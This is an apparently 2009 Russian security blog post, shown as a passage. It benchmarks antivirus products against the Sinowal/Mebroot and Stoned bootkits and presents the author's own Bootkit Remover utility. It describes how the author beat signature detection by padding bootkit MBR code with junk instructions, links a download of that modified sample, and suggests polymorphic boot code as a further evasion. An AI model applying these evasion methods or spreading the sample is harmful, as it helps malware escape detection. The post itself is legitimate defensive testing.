  • Dr.Web CureIt! 5.0.2.9230
  • Kaspersky Antivirus 2009 9.0.0.463
  • ESET NOD32 4.0.437.0
  • Avast Pro 4.8.1356.0
  • Symantec Trojan.Mebroot Removal Tool 1.0.1.0
  • F-Secure BlackLight 2.2.1092.0
Кроме того, в тестировании приняла участие бесплатная утилита-антируткит RootRepeal версии 1.3.5.0.

Перейдём к делу. Тестирование производилось на VMware, с установленной Windows XP Professional SP2. Всего было развёрнуто три разных тестовых стенда.
  • Самый обычный сампл Sinowal-а второго поколения, дроппер которого датирован концом мая 2009-го года (VirusTotal).
  • Модифицированная версия Sinowal-а которая была полученна следующим образом: я дизассемблировал код загрузочной записи руткита, прочитанный с зараженной машины, модифицировал его, разбавив мусорными xor-ами и nop-ами и с целью сбития сигнатуры, и после ассембилрования записал обратно на диск. Код доступен для скачивания здесь:
    http://www.esagelab.com/files/sinowal-b_modified.zip.


    Модифицированный загрузочный код буткита (добавленные инструкции выделены).

  • Stoned Bootkit. Это очередной концептуальный буткит, который был представлен на конференции BlackHat в этом году. Публично доступная версия буткита является сильно урезанной: кроме инфектора и, собственно, загрузочного кода в ней фактически ничего нет. Дополнительная информация доступна на сайте проекта:
    http://www.stoned-vienna.com/.
На зараженную виртуальную машину устанавливались последние версии перечисленных выше продуктов, после чего осуществлялось обновление антивирусных баз и полное сканирование системы с активацией всех возможных опций и технологий детектирования. Работоспособность Sinowal-а на каждом этапе проверялась с помощью RootkitUnhooker-а по наличию в системе подозрительных потоков и исполняемого кода.
Пример лога:
==============================================
>Stealth
==============================================
0x8122CB80 Page with executable code [ ETHREAD 0x81400DA8 ] TID: 256, size: 1152 bytes
0x811E9B29 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 1239 bytes
0x811E6B13 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1261 bytes
0x811BAB07 Page with executable code [ ETHREAD 0x81416570 ] TID: 744, size: 1273 bytes
0x81202AF1 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1295 bytes
0x81208A55 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1451 bytes
0x811DA9B1 Page with executable code [ ETHREAD 0x815BB8F8 ] TID: 684, size: 1615 bytes
0x811E78F8 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1800 bytes
0x811E87B9 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 2119 bytes
0x811BB6B2 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2382 bytes
0x811C3581 Page with executable code [ ETHREAD 0x81661A90 ] TID: 748, size: 2687 bytes
0x811DE4A3 Page with executable code [ ETHREAD 0x817CB810 ] TID: 24, size: 2909 bytes
0x8120648C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2932 bytes
0x811E841F Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3041 bytes
0x8121F419 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3047 bytes
0x8121E3CA Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3126 bytes
0x811EC3B6 Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3146 bytes
0x811FE321 Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3295 bytes
0x811FE25E Page with executable code [ ETHREAD 0x81400B20 ] TID: 264, size: 3490 bytes
0x811FB20A Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3574 bytes
0x8120EA80 Unknown thread object [ ETHREAD 0x813F3DA8 ] TID: 248, size: 592 bytes
0x811FB187 Unknown thread object [ ETHREAD 0x813F3B20 ] TID: 252, size: 592 bytes
0x8122CAF7 Unknown thread object [ ETHREAD 0x81400DA8 ] TID: 256, size: 592 bytes
0x811FE119 Unknown thread object [ ETHREAD 0x81400B20 ] TID: 264, size: 592 bytes
0x8123FDF0 Unknown thread object [ ETHREAD 0x816EB030 ] TID: 560, size: 592 bytes
0x811C3417 Unknown thread object [ ETHREAD 0x8165BDA8 ] TID: 648, size: 592 bytes
0x811C0D7C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 644 bytes
0x811D5D2D Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 723 bytes
0x8120ED0B Page with executable code [ ETHREAD 0x813F3DA8 ] TID: 248, size: 757 bytes

Кроме того, для диагностики системы использовалась и утилита собственной разработки, речь о которой пойдёт в конце поста.
Результаты тестирования привожу в виде таблицы (детектирование/удаление).

Sinowal-bSinowal-b ModifiedStoned Bootkit
McAfee VirusScan+/+//
Dr.Web CureIt!+/+//
Kaspersky Antivirus 2009+/++//
ESET NOD32+/+/+/
RootRepeal+/++/+/

В таблице не фигурируют утилиты и продукты от Avast, Symantec и F-Secure, так как они провалили тест, отказавшись впринципе детектировать что-либо из использовавшихся самплов. Но результаты по остальным оказались весьма интересные, и с ходу вызывают достаточно много вопросов.
  • Почему в первом тесте NOD32 не смог вылечить активное заражение?
    Если честно, для меня самого это осталось загадкой, особенно с учётом того, что ESET зарелизил отдельную утилиту-ремовер, замечательно справляющуюся с удалением не модифицированного Sinowal-а обеих поколений. Однако, в силу того что среднестатистический пользователь вряд ли додумается найти и использовать эту утилиту, я посчитал более справедливым включить в тестирование именно "большой" продукт.
  • Почему во втором тесте большинство продуктов от антивирусных компаний смогли детектировать буткит, но не смогли с ним ничего сделать?
    На самом деле, речь идёт всего-лишь о детекте драйвера буткита в памяти, а не вредоносного кода в главной загрузочной записи. Полная бесполезность подобного детектирования очевидна.
  • А почему антивирусы не смогли детектировать модифицированный загрузочный код буткита?
    Это звучит пугающе, но загрузочный код детектируется исключительно сигнатурно. Да, вы не ослышались, это полный и невообразимый пиздец: активный руткит, который легко идентифицировать по подменённому загрузочному коду (при попытке его считывания стандартными средствами) напрочь игнорируется, если сгнатуры этого самого загрузочного кода нет в базе. Удивительно, но всего за десять минут работы мы смогли проапгрейдить версию зловреда почти пятимесячной давности таким образом, что удалить её не смог ни один антивирус.
  • Но ведь RootRepeal замечательно справляется с удалением буткита в первых двух тестах?
    Да, справляется. Автор этого антируткита написал "правильный" детект, который срабатывает именно в случае обнаружения аномалии (несоответствие загрузочного кода при попытке его чтения разными средствами). На лицо повторение ситуации, которая какое-то время назад сложилась и в области классических руткитов: бесплатная утилита, написанная энтузиастом-одиночкой справляется с лечением технически сложных троянов гораздо лучше, чем продукты больших компаний, в написание которых было вложенно огромное количество материальных ресурсов и человеко-часов.
  • Почему почти никто не детектирует и не лечит Stoned Bootkit?
    С RootRepeal-ом всё просто: это антируткит, и его задачей является исключительно детектирование аномалий. Stoned никак не скрывает свой код в MBR, из-за этого и игнорируется антируткитом. Однако, подобная формулировка не сможет служить оправданием в случае с антивирусами. На первый взгляд, может показатся что детектировать ничего не делающий концепт действительно бессмысленно (исключение составили только ESET, которые, видимо, удосужились потратить две минуты на скачивание инфектора и добавления сигнатуры в базу), но давайте мыслить шире. Вирусописатель вполне может использовать полиморфный движок для генерации уникального загрузочного кода в каждом конкретном случае заражения, блокируя после этого попытки его модификации/перезаписи, вместо перехвата процедуры чтения. Таким образом, в течении того времени, что потребуется антивирусным компаниям на анализ сампла, написание и тестирование процедуры детекта/удаления, новый зловред получит возможность невозбранно поселиться хоть на сотнях тысяч компьютеров.
Выводы, опираясь на приведенные мной факты, можете сделать сами, но то, что антивирусная индустрия в техническом плане не готова в полной мере защищать пользователей от нового вида угроз - более чем очевидно. Радует лишь тот факт, что участвовавшие в тестировании продукты хоть как-то детектируют распотраненные in the wild сапмплы, ведь подавляющие большинство других вендоров тихо отмалчивается вообще игнорируя проблемы.

Утилита


В завершение этой заметки, я хотел бы представить вашему вниманию утилиту собственной разработки, которая является универсальным средством для детектирования и удаления буткитов. Её главные отличительные особенности:
  • Корректно детектирует и лечит активное заражение как распространенных in the wild буткитов (включая все модификации Sinowal/Mebroot), так и неизвестных зловредов подобного класса.
  • Протестирована и работает на 32-х и 64-х разрядных операционных системах Microsoft Windows XP, Server 2003, Vista, Server 2008 и Windows 7 (RC1 и RTM).
  • Работает исключительно из режима пользователя, без использования драйверов и каких-либо недокументированных механизмов и функций операционной системы.


Bootkit Remover нашел активный Sinowal-b.

Ремовер простой в использовании. Утилита работает из командной строки (необходимы права администратора).

Проверка MBR для всех физических накопителей:
> remover.exe
В отчете сканирования выводится один из трех вердиктов для каждого
физического накопителя:
  • OK (DOS/Win32 Boot code found) - MBR содержит оригинальный загрузочный код операционной системы DOS/Windows.
  • Unknown boot code - MBR содержит неизвестный загрузочный код. На практике это может означать то, что в системе присутствует буткит который не скрывает модифицированный загрузочный код. Кроме того, подобный статус будет выводится в случае использования какого-либо нестандартного мененджера загрузки (например, GRUB).
  • Controlled by rootkit! - в системе обнаружен активный буткит, который препятствует чтению модифицированного загрузочного кода стандартными средствами (именно так детектируется Sinowal/Mebroot).
Восстановление оригинального загрузочного кода Windows:
> remover.exe fix <device>
... где <device> - это системное имя физического накопителя, на котором вы хотите восстановить загрузочный код (например, \\.\PhysicalDrive0).

Дамп загрузочного кода в консоль или в файл:
> remover.exe dump <device> [output_file]
... где output_file - опциональное имя выходного файла, в который будет записан загрузочный код.

ВНИМАНИЕ!
При перезаписи MBR всегда существует небольшой риск нанести вред операционной системе. Поэтому, перед тем как использовать утилиту Bootkit Remover, обязательно приготовьте загрузочный установочный диск с используемой версией Windows, с помощью которого (Recovery Console) можно восстановить MBR в случае его повреждения.

Загрузить утилиту можно здесь.
По вопросам работы ремовера связываться со мной лучше всего по е-mail: dmitry@esagelab.ru